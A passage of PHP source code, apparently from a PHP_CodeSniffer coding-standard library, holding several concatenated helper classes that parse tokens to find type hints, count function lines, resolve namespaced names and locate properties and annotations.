(!in_array($tokens[$pointerBeforeVariable]['code'], TokenHelper::TYPE_HINT_TOKEN_CODES, true)) { $parametersTypeHints[$parameterName] = null; continue; } $typeHintEndPointer = $pointerBeforeVariable; $typeHintStartPointer = TypeHintHelper::getStartPointer($phpcsFile, $typeHintEndPointer); $pointerBeforeTypeHint = TokenHelper::findPreviousEffective($phpcsFile, $typeHintStartPointer - 1); $isNullable = $tokens[$pointerBeforeTypeHint]['code'] === T_NULLABLE; if ($isNullable) { $typeHintStartPointer = $pointerBeforeTypeHint; } $typeHint = TokenHelper::getContent($phpcsFile, $typeHintStartPointer, $typeHintEndPointer); /** @var string $typeHint */ $typeHint = preg_replace('~\s+~', '', $typeHint); if (!$isNullable) { $isNullable = preg_match('~(?:^|\|)null(?:\||$)~i', $typeHint) === 1; } $parametersTypeHints[$parameterName] = new TypeHint($typeHint, $isNullable, $typeHintStartPointer, $typeHintEndPointer); } return $parametersTypeHints; } public static function returnsValue(File $phpcsFile, int $functionPointer): bool { $tokens = $phpcsFile->getTokens(); $firstPointerInScope = $tokens[$functionPointer]['scope_opener'] + 1; for ($i = $firstPointerInScope; $i < $tokens[$functionPointer]['scope_closer']; $i++) { if (!in_array($tokens[$i]['code'], [T_YIELD, T_YIELD_FROM], true)) { continue; } if (!ScopeHelper::isInSameScope($phpcsFile, $i, $firstPointerInScope)) { continue; } return true; } for ($i = $firstPointerInScope; $i < $tokens[$functionPointer]['scope_closer']; $i++) { if ($tokens[$i]['code'] !== T_RETURN) { continue; } if (!ScopeHelper::isInSameScope($phpcsFile, $i, $firstPointerInScope)) { continue; } $nextEffectiveTokenPointer = TokenHelper::findNextEffective($phpcsFile, $i + 1); return $tokens[$nextEffectiveTokenPointer]['code'] !== T_SEMICOLON; } return false; } public static function findReturnTypeHint(File $phpcsFile, int $functionPointer): ?TypeHint { $tokens = $phpcsFile->getTokens(); $nextPointer = TokenHelper::findNextEffective($phpcsFile, $tokens[$functionPointer]['parenthesis_closer'] + 1); if ($tokens[$nextPointer]['code'] === T_USE) { $useParenthesisOpener = TokenHelper::findNextEffective($phpcsFile, $nextPointer + 1); $colonPointer = TokenHelper::findNextEffective($phpcsFile, $tokens[$useParenthesisOpener]['parenthesis_closer'] + 1); } else { $colonPointer = $nextPointer; } if ($tokens[$colonPointer]['code'] !== T_COLON) { return null; } $typeHintStartPointer = TokenHelper::findNextEffective($phpcsFile, $colonPointer + 1); $nullable = $tokens[$typeHintStartPointer]['code'] === T_NULLABLE; $pointerAfterTypeHint = self::isAbstract($phpcsFile, $functionPointer) ? TokenHelper::findNext($phpcsFile, T_SEMICOLON, $typeHintStartPointer + 1) : $tokens[$functionPointer]['scope_opener']; $typeHintEndPointer = TokenHelper::findPreviousEffective($phpcsFile, $pointerAfterTypeHint - 1); $typeHint = TokenHelper::getContent($phpcsFile, $typeHintStartPointer, $typeHintEndPointer); /** @var string $typeHint */ $typeHint = preg_replace('~\s+~', '', $typeHint); if (!$nullable) { $nullable = preg_match('~(?:^|\|)null(?:\||$)~i', $typeHint) === 1; } return new TypeHint($typeHint, $nullable, $typeHintStartPointer, $typeHintEndPointer); } public static function hasReturnTypeHint(File $phpcsFile, int $functionPointer): bool { return self::findReturnTypeHint($phpcsFile, $functionPointer) !== null; } /** * @return list|Annotation> */ public static function getParametersAnnotations(File $phpcsFile, int $functionPointer): array { return AnnotationHelper::getAnnotations($phpcsFile, $functionPointer, '@param'); } /** * @return array|Annotation|Annotation> */ public static function getValidParametersAnnotations(File $phpcsFile, int $functionPointer): array { $tokens = $phpcsFile->getTokens(); $parametersAnnotations = []; if (self::getName($phpcsFile, $functionPointer) === '__construct') { for ($i = $tokens[$functionPointer]['parenthesis_opener'] + 1; $i < $tokens[$functionPointer]['parenthesis_closer']; $i++) { if ($tokens[$i]['code'] !== T_VARIABLE) { continue; } $varAnnotations = AnnotationHelper::getAnnotations($phpcsFile, $i, '@var'); if ($varAnnotations === []) { continue; } $parametersAnnotations[$tokens[$i]['content']] = $varAnnotations[0]; } } foreach (self::getParametersAnnotations($phpcsFile, $functionPointer) as $parameterAnnotation) { if ($parameterAnnotation->isInvalid()) { continue; } $parametersAnnotations[$parameterAnnotation->getValue()->parameterName] = $parameterAnnotation; } return $parametersAnnotations; } /** * @return array|Annotation> */ public static function getValidPrefixedParametersAnnotations(File $phpcsFile, int $functionPointer): array { $tokens = $phpcsFile->getTokens(); $parametersAnnotations = []; foreach (AnnotationHelper::STATIC_ANALYSIS_PREFIXES as $prefix) { if (self::getName($phpcsFile, $functionPointer) === '__construct') { for ($i = $tokens[$functionPointer]['parenthesis_opener'] + 1; $i < $tokens[$functionPointer]['parenthesis_closer']; $i++) { if ($tokens[$i]['code'] !== T_VARIABLE) { continue; } /** @var list> $varAnnotations */ $varAnnotations = AnnotationHelper::getAnnotations($phpcsFile, $i, sprintf('@%s-var', $prefix)); if ($varAnnotations === []) { continue; } $parametersAnnotations[$tokens[$i]['content']] = $varAnnotations[0]; } } /** @var list> $annotations */ $annotations = AnnotationHelper::getAnnotations($phpcsFile, $functionPointer, sprintf('@%s-param', $prefix)); foreach ($annotations as $parameterAnnotation) { if ($parameterAnnotation->isInvalid()) { continue; } $parametersAnnotations[$parameterAnnotation->getValue()->parameterName] = $parameterAnnotation; } } return $parametersAnnotations; } /** * @return Annotation|null */ public static function findReturnAnnotation(File $phpcsFile, int $functionPointer): ?Annotation { /** @var list> $returnAnnotations */ $returnAnnotations = AnnotationHelper::getAnnotations($phpcsFile, $functionPointer, '@return'); if ($returnAnnotations === []) { return null; } return $returnAnnotations[0]; } /** * @return list */ public static function getValidPrefixedReturnAnnotations(File $phpcsFile, int $functionPointer): array { $returnAnnotations = []; $annotations = AnnotationHelper::getAnnotations($phpcsFile, $functionPointer); foreach (AnnotationHelper::STATIC_ANALYSIS_PREFIXES as $prefix) { $prefixedAnnotationName = sprintf('@%s-return', $prefix); foreach ($annotations as $annotation) { if ($annotation->isInvalid()) { continue; } if ($annotation->getName() === $prefixedAnnotationName) { $returnAnnotations[] = $annotation; } } } return $returnAnnotations; } /** * @return list */ public static function getAllFunctionNames(File $phpcsFile): array { $previousFunctionPointer = 0; return array_map( static fn (int $functionPointer): string => self::getName($phpcsFile, $functionPointer), array_values(array_filter( iterator_to_array(self::getAllFunctionOrMethodPointers($phpcsFile, $previousFunctionPointer)), static fn (int $functionOrMethodPointer): bool => !self::isMethod($phpcsFile, $functionOrMethodPointer), )), ); } /** * @param int $flags optional bitmask of self::LINE_INCLUDE_* constants */ public static function getFunctionLengthInLines(File $file, int $functionPosition, int $flags = 0): int { if (self::isAbstract($file, $functionPosition)) { return 0; } return self::getLineCount($file, $functionPosition, $flags); } public static function getLineCount(File $file, int $tokenPosition, int $flags = 0): int { $includeWhitespace = ($flags & self::LINE_INCLUDE_WHITESPACE) === self::LINE_INCLUDE_WHITESPACE; $includeComments = ($flags & self::LINE_INCLUDE_COMMENT) === self::LINE_INCLUDE_COMMENT; $tokens = $file->getTokens(); $token = $tokens[$tokenPosition]; $tokenOpenerPosition = $token['scope_opener'] ?? $tokenPosition; $tokenCloserPosition = $token['scope_closer'] ?? $file->numTokens - 1; $tokenOpenerLine = $tokens[$tokenOpenerPosition]['line']; $tokenCloserLine = $tokens[$tokenCloserPosition]['line']; $lineCount = 0; $lastCommentLine = null; $previousIncludedPosition = null; for ($position = $tokenOpenerPosition; $position <= $tokenCloserPosition - 1; $position++) { $token = $tokens[$position]; if ($includeComments === false) { if (in_array($token['code'], Tokens::$commentTokens, true)) { if ( $previousIncludedPosition !== null && substr_count($token['content'], $file->eolChar) > 0 && $token['line'] === $tokens[$previousIncludedPosition]['line'] ) { // Comment with linebreak starting on same line as included Token $lineCount++; } // Don't include comment $lastCommentLine = $token['line']; continue; } if ( $previousIncludedPosition !== null && $token['code'] === T_WHITESPACE && $token['line'] === $lastCommentLine && $token['line'] !== $tokens[$previousIncludedPosition]['line'] ) { // Whitespace after block comment... still on comment line... // Ignore along with the comment continue; } } if ($token['code'] === T_WHITESPACE) { $nextNonWhitespacePosition = $file->findNext(T_WHITESPACE, $position + 1, $tokenCloserPosition + 1, true); if ( $includeWhitespace === false && $token['column'] === 1 && $nextNonWhitespacePosition !== false && $tokens[$nextNonWhitespacePosition]['line'] !== $token['line'] ) { // This line is nothing but whitepace $position = $nextNonWhitespacePosition - 1; continue; } if ($previousIncludedPosition === $tokenOpenerPosition && $token['line'] === $tokenOpenerLine) { // Don't linclude line break after opening "{" // Unless there was code or an (included) comment following the "{" continue; } } if ($token['code'] !== T_WHITESPACE) { $previousIncludedPosition = $position; } $newLineFoundCount = substr_count($token['content'], $file->eolChar); $lineCount += $newLineFoundCount; } if ($tokens[$previousIncludedPosition]['line'] === $tokenCloserLine) { // There is code or comment on the closing "}" line... $lineCount++; } return $lineCount; } /** * @return Generator */ private static function getAllFunctionOrMethodPointers(File $phpcsFile, int &$previousFunctionPointer): Generator { do { $nextFunctionPointer = TokenHelper::findNext($phpcsFile, T_FUNCTION, $previousFunctionPointer + 1); if ($nextFunctionPointer === null) { break; } $previousFunctionPointer = $nextFunctionPointer; yield $nextFunctionPointer; } while (true); } } getTokens(); $variableContent = ''; for ($i = $startPointer; $i <= $endPointer; $i++) { if (in_array($tokens[$i]['code'], TokenHelper::INEFFECTIVE_TOKEN_CODES, true)) { continue; } $variableContent .= $tokens[$i]['content']; } return $variableContent; } public static function findStartPointer(File $phpcsFile, int $endPointer): ?int { $tokens = $phpcsFile->getTokens(); if (in_array($tokens[$endPointer]['code'], TokenHelper::NAME_TOKEN_CODES, true)) { /** @var int $previousPointer */ $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $endPointer - 1); if (in_array($tokens[$previousPointer]['code'], [T_OBJECT_OPERATOR, T_NULLSAFE_OBJECT_OPERATOR, T_DOUBLE_COLON], true)) { $pointerBeforeOperator = TokenHelper::findPreviousEffective($phpcsFile, $previousPointer - 1); if ($tokens[$pointerBeforeOperator]['code'] !== T_CLOSE_PARENTHESIS) { return self::getStartPointerBeforeOperator($phpcsFile, $previousPointer); } } return $endPointer; } if (in_array($tokens[$endPointer]['code'], [T_CLOSE_CURLY_BRACKET, T_CLOSE_SQUARE_BRACKET], true)) { return self::getStartPointerBeforeVariablePart($phpcsFile, $tokens[$endPointer]['bracket_opener']); } if ($tokens[$endPointer]['code'] === T_VARIABLE) { return self::getStartPointerBeforeVariablePart($phpcsFile, $endPointer); } return null; } public static function findEndPointer(File $phpcsFile, int $startPointer): ?int { $tokens = $phpcsFile->getTokens(); if (in_array($tokens[$startPointer]['code'], TokenHelper::NAME_TOKEN_CODES, true)) { $startPointer = TokenHelper::findNextExcluding($phpcsFile, TokenHelper::NAME_TOKEN_CODES, $startPointer + 1) - 1; } elseif ($tokens[$startPointer]['code'] === T_DOLLAR) { $startPointer = TokenHelper::findNextEffective($phpcsFile, $startPointer + 1); } /** @var int $nextPointer */ $nextPointer = TokenHelper::findNextEffective($phpcsFile, $startPointer + 1); if ( in_array($tokens[$startPointer]['code'], [T_SELF, T_STATIC, T_PARENT, ...TokenHelper::NAME_TOKEN_CODES], true) && $tokens[$nextPointer]['code'] === T_DOUBLE_COLON ) { return self::getEndPointerAfterOperator($phpcsFile, $nextPointer); } if ($tokens[$startPointer]['code'] === T_VARIABLE) { if (in_array($tokens[$nextPointer]['code'], [T_DOUBLE_COLON, T_OBJECT_OPERATOR, T_NULLSAFE_OBJECT_OPERATOR], true)) { return self::getEndPointerAfterOperator($phpcsFile, $nextPointer); } if ($tokens[$nextPointer]['code'] === T_OPEN_SQUARE_BRACKET) { return self::getEndPointerAfterVariablePart($phpcsFile, $startPointer); } return $startPointer; } return null; } private static function getStartPointerBeforeOperator(File $phpcsFile, int $operatorPointer): int { $tokens = $phpcsFile->getTokens(); /** @var int $previousPointer */ $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $operatorPointer - 1); if (in_array($tokens[$previousPointer]['code'], TokenHelper::NAME_TOKEN_CODES, true)) { $previousPointer = TokenHelper::findPreviousExcluding($phpcsFile, TokenHelper::NAME_TOKEN_CODES, $previousPointer - 1) + 1; } if ( $tokens[$operatorPointer]['code'] === T_DOUBLE_COLON && in_array($tokens[$previousPointer]['code'], [T_SELF, T_STATIC, T_PARENT, ...TokenHelper::NAME_TOKEN_CODES], true) ) { return $previousPointer; } if (in_array($tokens[$previousPointer]['code'], TokenHelper::NAME_TOKEN_CODES, true)) { /** @var int $possibleOperatorPointer */ $possibleOperatorPointer = TokenHelper::findPreviousEffective($phpcsFile, $previousPointer - 1); if (in_array($tokens[$possibleOperatorPointer]['code'], [T_OBJECT_OPERATOR, T_NULLSAFE_OBJECT_OPERATOR], true)) { return self::getStartPointerBeforeOperator($phpcsFile, $possibleOperatorPointer); } } if (in_array($tokens[$previousPointer]['code'], [T_CLOSE_CURLY_BRACKET, T_CLOSE_SQUARE_BRACKET], true)) { return self::getStartPointerBeforeVariablePart($phpcsFile, $tokens[$previousPointer]['bracket_opener']); } return self::getStartPointerBeforeVariablePart($phpcsFile, $previousPointer); } private static function getStartPointerBeforeVariablePart(File $phpcsFile, int $variablePartPointer): int { $tokens = $phpcsFile->getTokens(); /** @var int $previousPointer */ $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $variablePartPointer - 1); if ($tokens[$previousPointer]['code'] === T_DOLLAR) { /** @var int $previousPointer */ $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $previousPointer - 1); } if (in_array($tokens[$previousPointer]['code'], [T_OBJECT_OPERATOR, T_NULLSAFE_OBJECT_OPERATOR, T_DOUBLE_COLON], true)) { return self::getStartPointerBeforeOperator($phpcsFile, $previousPointer); } if ($tokens[$previousPointer]['code'] === T_CLOSE_SQUARE_BRACKET) { return self::getStartPointerBeforeVariablePart($phpcsFile, $tokens[$previousPointer]['bracket_opener']); } if ( $tokens[$previousPointer]['code'] === T_CLOSE_CURLY_BRACKET && !array_key_exists('scope_condition', $tokens[$previousPointer]) ) { return self::getStartPointerBeforeVariablePart($phpcsFile, $tokens[$previousPointer]['bracket_opener']); } if (in_array($tokens[$previousPointer]['code'], [T_VARIABLE, ...TokenHelper::NAME_TOKEN_CODES], true)) { return self::getStartPointerBeforeVariablePart($phpcsFile, $previousPointer); } return $variablePartPointer; } private static function getEndPointerAfterOperator(File $phpcsFile, int $operatorPointer): int { $tokens = $phpcsFile->getTokens(); /** @var int $nextPointer */ $nextPointer = TokenHelper::findNextEffective($phpcsFile, $operatorPointer + 1); if ($tokens[$nextPointer]['code'] === T_DOLLAR) { /** @var int $nextPointer */ $nextPointer = TokenHelper::findNextEffective($phpcsFile, $nextPointer + 1); } if ($tokens[$nextPointer]['code'] === T_OPEN_CURLY_BRACKET) { return self::getEndPointerAfterVariablePart($phpcsFile, $tokens[$nextPointer]['bracket_closer']); } return self::getEndPointerAfterVariablePart($phpcsFile, $nextPointer); } private static function getEndPointerAfterVariablePart(File $phpcsFile, int $variablePartPointer): int { $tokens = $phpcsFile->getTokens(); /** @var int $nextPointer */ $nextPointer = TokenHelper::findNextEffective($phpcsFile, $variablePartPointer + 1); if (in_array($tokens[$nextPointer]['code'], [T_OBJECT_OPERATOR, T_NULLSAFE_OBJECT_OPERATOR, T_DOUBLE_COLON], true)) { return self::getEndPointerAfterOperator($phpcsFile, $nextPointer); } if ($tokens[$nextPointer]['code'] === T_OPEN_SQUARE_BRACKET) { return self::getEndPointerAfterVariablePart($phpcsFile, $tokens[$nextPointer]['bracket_closer']); } return $variablePartPointer; } } config->tabWidth !== 0 ? $phpcsFile->config->tabWidth : self::DEFAULT_INDENTATION_WIDTH); } /** * @param list $codePointers */ public static function removeIndentation(File $phpcsFile, array $codePointers, string $defaultIndentation): string { $tokens = $phpcsFile->getTokens(); $eolLength = strlen($phpcsFile->eolChar); $code = ''; $inHeredoc = false; $indentation = self::getOneIndentationLevel($phpcsFile); $indentationLength = strlen($indentation); foreach ($codePointers as $no => $codePointer) { $content = $tokens[$codePointer]['content']; if ( !$inHeredoc && ( $no === 0 || substr($tokens[$codePointer - 1]['content'], -$eolLength) === $phpcsFile->eolChar ) ) { if ($content === $phpcsFile->eolChar) { // Nothing } elseif (substr($content, 0, $indentationLength) === $indentation) { $content = substr($content, $indentationLength); } else { $content = $defaultIndentation . ltrim($content); } } if (in_array($tokens[$codePointer]['code'], [T_START_HEREDOC, T_START_NOWDOC], true)) { $inHeredoc = true; } elseif (in_array($tokens[$codePointer]['code'], [T_END_HEREDOC, T_END_NOWDOC], true)) { $inHeredoc = false; } $code .= $content; } return rtrim($code); } public static function convertSpacesToTabs(File $phpcsFile, string $code): string { // @codeCoverageIgnoreStart if ($phpcsFile->config->tabWidth === 0) { return $code; } // @codeCoverageIgnoreEnd return preg_replace_callback('~^([ ]+)~m', static function (array $matches) use ($phpcsFile): string { $tabsCount = (int) floor(strlen($matches[1]) / $phpcsFile->config->tabWidth); $spacesCountToRemove = $tabsCount * $phpcsFile->config->tabWidth; return str_repeat("\t", $tabsCount) . substr($matches[1], $spacesCountToRemove); }, $code); } } */ public static function getAllNamespacesPointers(File $phpcsFile): array { $tokens = $phpcsFile->getTokens(); $lazyValue = static function () use ($phpcsFile, $tokens): array { $all = TokenHelper::findNextAll($phpcsFile, T_NAMESPACE, 0); $all = array_filter( $all, static function ($pointer) use ($phpcsFile, $tokens) { $next = TokenHelper::findNextEffective($phpcsFile, $pointer + 1); return $next === null || $tokens[$next]['code'] !== T_NS_SEPARATOR; }, ); return array_values($all); }; return SniffLocalCache::getAndSetIfNotCached($phpcsFile, 'namespacePointers', $lazyValue); } public static function isFullyQualifiedName(string $typeName): bool { return StringHelper::startsWith($typeName, self::NAMESPACE_SEPARATOR); } public static function isFullyQualifiedPointer(File $phpcsFile, int $pointer): bool { return in_array($phpcsFile->getTokens()[$pointer]['code'], [T_NS_SEPARATOR, T_NAME_FULLY_QUALIFIED], true); } public static function getFullyQualifiedTypeName(string $typeName): string { if (self::isFullyQualifiedName($typeName)) { return $typeName; } return sprintf('%s%s', self::NAMESPACE_SEPARATOR, $typeName); } public static function hasNamespace(string $typeName): bool { $parts = self::getNameParts($typeName); return count($parts) > 1; } /** * @return list */ public static function getNameParts(string $name): array { $name = self::normalizeToCanonicalName($name); return explode(self::NAMESPACE_SEPARATOR, $name); } public static function getLastNamePart(string $name): string { return array_slice(self::getNameParts($name), -1)[0]; } public static function getName(File $phpcsFile, int $namespacePointer): string { /** @var int $namespaceNameStartPointer */ $namespaceNameStartPointer = TokenHelper::findNextEffective($phpcsFile, $namespacePointer + 1); $namespaceNameEndPointer = TokenHelper::findNextExcluding( $phpcsFile, TokenHelper::NAME_TOKEN_CODES, $namespaceNameStartPointer + 1, ) - 1; return TokenHelper::getContent($phpcsFile, $namespaceNameStartPointer, $namespaceNameEndPointer); } public static function findCurrentNamespacePointer(File $phpcsFile, int $pointer): ?int { $allNamespacesPointers = array_reverse(self::getAllNamespacesPointers($phpcsFile)); foreach ($allNamespacesPointers as $namespacesPointer) { if ($namespacesPointer < $pointer) { return $namespacesPointer; } } return null; } public static function findCurrentNamespaceName(File $phpcsFile, int $anyPointer): ?string { $namespacePointer = self::findCurrentNamespacePointer($phpcsFile, $anyPointer); if ($namespacePointer === null) { return null; } return self::getName($phpcsFile, $namespacePointer); } public static function getUnqualifiedNameFromFullyQualifiedName(string $name): string { $parts = self::getNameParts($name); return $parts[count($parts) - 1]; } public static function isQualifiedName(string $name): bool { return strpos($name, self::NAMESPACE_SEPARATOR) !== false; } public static function normalizeToCanonicalName(string $fullyQualifiedName): string { return ltrim($fullyQualifiedName, self::NAMESPACE_SEPARATOR); } public static function isTypeInNamespace(string $typeName, string $namespace): bool { return StringHelper::startsWith( self::normalizeToCanonicalName($typeName) . '\\', $namespace . '\\', ); } public static function resolveClassName(File $phpcsFile, string $nameAsReferencedInFile, int $currentPointer): string { return self::resolveName($phpcsFile, $nameAsReferencedInFile, ReferencedName::TYPE_CLASS, $currentPointer); } public static function resolveName(File $phpcsFile, string $nameAsReferencedInFile, string $type, int $currentPointer): string { if (self::isFullyQualifiedName($nameAsReferencedInFile)) { return $nameAsReferencedInFile; } $useStatements = UseStatementHelper::getUseStatementsForPointer($phpcsFile, $currentPointer); $uniqueId = UseStatement::getUniqueId($type, self::normalizeToCanonicalName($nameAsReferencedInFile)); if (isset($useStatements[$uniqueId])) { return sprintf('%s%s', self::NAMESPACE_SEPARATOR, $useStatements[$uniqueId]->getFullyQualifiedTypeName()); } $nameParts = self::getNameParts($nameAsReferencedInFile); $firstPartUniqueId = UseStatement::getUniqueId($type, $nameParts[0]); if (count($nameParts) > 1 && isset($useStatements[$firstPartUniqueId])) { return sprintf( '%s%s%s%s', self::NAMESPACE_SEPARATOR, $useStatements[$firstPartUniqueId]->getFullyQualifiedTypeName(), self::NAMESPACE_SEPARATOR, implode(self::NAMESPACE_SEPARATOR, array_slice($nameParts, 1)), ); } $name = sprintf('%s%s', self::NAMESPACE_SEPARATOR, $nameAsReferencedInFile); if ($type === ReferencedName::TYPE_CONSTANT && defined($name)) { return $name; } $namespaceName = self::findCurrentNamespaceName($phpcsFile, $currentPointer); if ($namespaceName !== null) { $name = sprintf('%s%s%s', self::NAMESPACE_SEPARATOR, $namespaceName, $name); } return $name; } } getTokens(); if (!array_key_exists('nested_parenthesis', $tokens[$variablePointer])) { return false; } $parenthesisOpenerPointer = array_reverse(array_keys($tokens[$variablePointer]['nested_parenthesis']))[0]; if (!array_key_exists('parenthesis_owner', $tokens[$parenthesisOpenerPointer])) { return false; } $parenthesisOwnerPointer = $tokens[$parenthesisOpenerPointer]['parenthesis_owner']; return in_array($tokens[$parenthesisOwnerPointer]['code'], TokenHelper::FUNCTION_TOKEN_CODES, true); } } openPointer = $openPointer; $this->closePointer = $closePointer; $this->node = $node; $this->tokens = $tokens; } public function getOpenPointer(): int { return $this->openPointer; } public function getClosePointer(): int { return $this->closePointer; } public function getNode(): PhpDocNode { return $this->node; } public function getTokens(): TokenIterator { return $this->tokens; } public function getNodeStartPointer(File $phpcsFile, Node $node): int { $tokens = $phpcsFile->getTokens(); $tagStartLine = $tokens[$this->openPointer]['line'] + $node->getAttribute('startLine') - 1; $searchPointer = $this->openPointer + 1; for ($i = $this->openPointer + 1; $i < $this->closePointer; $i++) { if ($tagStartLine === $tokens[$i]['line']) { $searchPointer = $i; break; } } return TokenHelper::findNext($phpcsFile, [...TokenHelper::ANNOTATION_TOKEN_CODES, T_DOC_COMMENT_STRING], $searchPointer); } public function getNodeEndPointer(File $phpcsFile, Node $node, int $nodeStartPointer): int { $tokens = $phpcsFile->getTokens(); $content = trim($this->tokens->getContentBetween( $node->getAttribute(Attribute::START_INDEX), $node->getAttribute(Attribute::END_INDEX) + 1, )); $length = strlen($content); $searchPointer = $nodeStartPointer; $content = ''; for ($i = $nodeStartPointer; $i < count($tokens); $i++) { $content .= $tokens[$i]['content']; if (strlen($content) >= $length) { $searchPointer = $i; break; } } return TokenHelper::findPrevious( $phpcsFile, [...TokenHelper::ANNOTATION_TOKEN_CODES, T_DOC_COMMENT_STRING], $searchPointer, ); } } traverse([$node]); return $cloneNode; } private static function getConfig(): ParserConfig { static $config; $config ??= new ParserConfig(['lines' => true, 'indexes' => true]); return $config; } } getTokens(); $previousPointer = TokenHelper::findPreviousExcluding( $phpcsFile, [...TokenHelper::INEFFECTIVE_TOKEN_CODES, ...TokenHelper::TYPE_HINT_TOKEN_CODES, T_NULLABLE], $variablePointer - 1, ); if (in_array($tokens[$previousPointer]['code'], [T_FINAL, T_ABSTRACT], true)) { return true; } if ($tokens[$previousPointer]['code'] === T_STATIC) { $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $previousPointer - 1); } if (in_array( $tokens[$previousPointer]['code'], [...array_values(Tokens::$scopeModifiers), T_READONLY], true, )) { $constructorPointer = TokenHelper::findPrevious($phpcsFile, T_FUNCTION, $previousPointer - 1); if ($constructorPointer === null) { return true; } return $tokens[$constructorPointer]['parenthesis_closer'] < $previousPointer || $promoted; } if ( !array_key_exists('conditions', $tokens[$variablePointer]) || count($tokens[$variablePointer]['conditions']) === 0 ) { return false; } $functionPointer = TokenHelper::findPrevious( $phpcsFile, [...TokenHelper::FUNCTION_TOKEN_CODES, T_SEMICOLON, T_CLOSE_CURLY_BRACKET, T_OPEN_CURLY_BRACKET], $variablePointer - 1, ); if ( $functionPointer !== null && in_array($tokens[$functionPointer]['code'], TokenHelper::FUNCTION_TOKEN_CODES, true) ) { return false; } $previousParenthesisPointer = TokenHelper::findPrevious($phpcsFile, T_OPEN_PARENTHESIS, $variablePointer - 1); if ($previousParenthesisPointer !== null && $tokens[$previousParenthesisPointer]['parenthesis_closer'] > $variablePointer) { $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $previousParenthesisPointer - 1); if ($previousPointer !== null && in_array($tokens[$previousPointer]['content'], ['get', 'set'], true)) { // Parameter of property hook return false; } } $previousCurlyBracketPointer = TokenHelper::findPrevious($phpcsFile, T_OPEN_CURLY_BRACKET, $variablePointer - 1); if ( $previousCurlyBracketPointer !== null && $tokens[$previousCurlyBracketPointer]['bracket_closer'] > $variablePointer ) { // Variable in content of property hook if (!array_key_exists('scope_condition', $tokens[$previousCurlyBracketPointer])) { return false; } } $conditionCode = array_values($tokens[$variablePointer]['conditions'])[count($tokens[$variablePointer]['conditions']) - 1]; return in_array($conditionCode, Tokens::$ooScopeTokens, true); } public static function getStartPointer(File $phpcsFile, int $propertyPointer): int { $previousCodeEndPointer = TokenHelper::findPrevious( $phpcsFile, [ // Previous property or constant T_SEMICOLON, // Previous method or property with hooks T_CLOSE_CURLY_BRACKET, // Start of the class T_OPEN_CURLY_BRACKET, // Start of the constructor T_OPEN_PARENTHESIS, // Previous parameter in the constructor T_COMMA, ], $propertyPointer - 1, ); $startPointer = TokenHelper::findPreviousEffective($phpcsFile, $propertyPointer - 1, $previousCodeEndPointer); do { $possibleStartPointer = TokenHelper::findPrevious( $phpcsFile, TokenHelper::PROPERTY_MODIFIERS_TOKEN_CODES, $startPointer - 1, $previousCodeEndPointer, ); if ($possibleStartPointer === null) { return $startPointer; } $startPointer = $possibleStartPointer; } while (true); } public static function getEndPointer(File $phpcsFile, int $propertyPointer): int { $tokens = $phpcsFile->getTokens(); $endPointer = TokenHelper::findNext($phpcsFile, [T_SEMICOLON, T_OPEN_CURLY_BRACKET], $propertyPointer + 1); return $tokens[$endPointer]['code'] === T_OPEN_CURLY_BRACKET ? $tokens[$endPointer]['bracket_closer'] : $endPointer; } public static function findTypeHint(File $phpcsFile, int $propertyPointer): ?TypeHint { $tokens = $phpcsFile->getTokens(); $propertyStartPointer = self::getStartPointer($phpcsFile, $propertyPointer); $typeHintEndPointer = TokenHelper::findPrevious( $phpcsFile, TokenHelper::TYPE_HINT_TOKEN_CODES, $propertyPointer - 1, $propertyStartPointer, ); if ($typeHintEndPointer === null) { return null; } $typeHintStartPointer = TypeHintHelper::getStartPointer($phpcsFile, $typeHintEndPointer); $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $typeHintStartPointer - 1, $propertyStartPointer); $nullable = $previousPointer !== null && $tokens[$previousPointer]['code'] === T_NULLABLE; if ($nullable) { $typeHintStartPointer = $previousPointer; } $typeHint = TokenHelper::getContent($phpcsFile, $typeHintStartPointer, $typeHintEndPointer); if (!$nullable) { $nullable = preg_match('~(?:^|\|\s*)null(?:\s*\||$)~i', $typeHint) === 1; } /** @var string $typeHint */ $typeHint = preg_replace('~\s+~', '', $typeHint); return new TypeHint($typeHint, $nullable, $typeHintStartPointer, $typeHintEndPointer); } public static function getFullyQualifiedName(File $phpcsFile, int $propertyPointer): string { $propertyToken = $phpcsFile->getTokens()[$propertyPointer]; $propertyName = $propertyToken['content']; $classPointer = array_reverse(array_keys($propertyToken['conditions']))[0]; if ($phpcsFile->getTokens()[$classPointer]['code'] === T_ANON_CLASS) { return sprintf('class@anonymous::%s', $propertyName); } $name = sprintf('%s%s::%s', NamespaceHelper::NAMESPACE_SEPARATOR, ClassHelper::getName($phpcsFile, $classPointer), $propertyName); $namespace = NamespaceHelper::findCurrentNamespaceName($phpcsFile, $propertyPointer); return $namespace !== null ? sprintf('%s%s%s', NamespaceHelper::NAMESPACE_SEPARATOR, $namespace, $name) : $name; } } nameAsReferencedInFile = $nameAsReferencedInFile; $this->startPointer = $startPointer; $this->endPointer = $endPointer; $this->type = $type; } public function getNameAsReferencedInFile(): string { return $this->nameAsReferencedInFile; } public function getStartPointer(): int { return $this->startPointer; } public function getType(): string { return $this->type; } public function getEndPointer(): int { return $this->endPointer; } public function isClass(): bool { return $this->type === self::TYPE_CLASS; } public function isConstant(): bool { return $this->type === self::TYPE_CONSTANT; } public function isFunction(): bool { return $this->type === self::TYPE_FUNCTION; } public function hasSameUseStatementType(UseStatement $useStatement): bool { return $this->getType() === $useStatement->getType(); } } */ public static function getAllReferencedNames(File $phpcsFile, int $openTagPointer): array { $lazyValue = static fn (): array => self::createAllReferencedNames($phpcsFile, $openTagPointer); return SniffLocalCache::getAndSetIfNotCached($phpcsFile, 'references', $lazyValue); } /** * @return list */ public static function getAllReferencedNamesInAttributes(File $phpcsFile, int $openTagPointer): array { $lazyValue = static fn (): array => self::createAllReferencedNamesInAttributes($phpcsFile, $openTagPointer); return SniffLocalCache::getAndSetIfNotCached($phpcsFile, 'referencesFromAttributes', $lazyValue); } public static function getReferenceName(File $phpcsFile, int $nameStartPointer, int $nameEndPointer): string { $tokens = $phpcsFile->getTokens(); $referencedName = ''; for ($i = $nameStartPointer; $i <= $nameEndPointer; $i++) { if (in_array($tokens[$i]['code'], Tokens::$emptyTokens, true)) { continue; } $referencedName .= $tokens[$i]['content']; } return $referencedName; } public static function 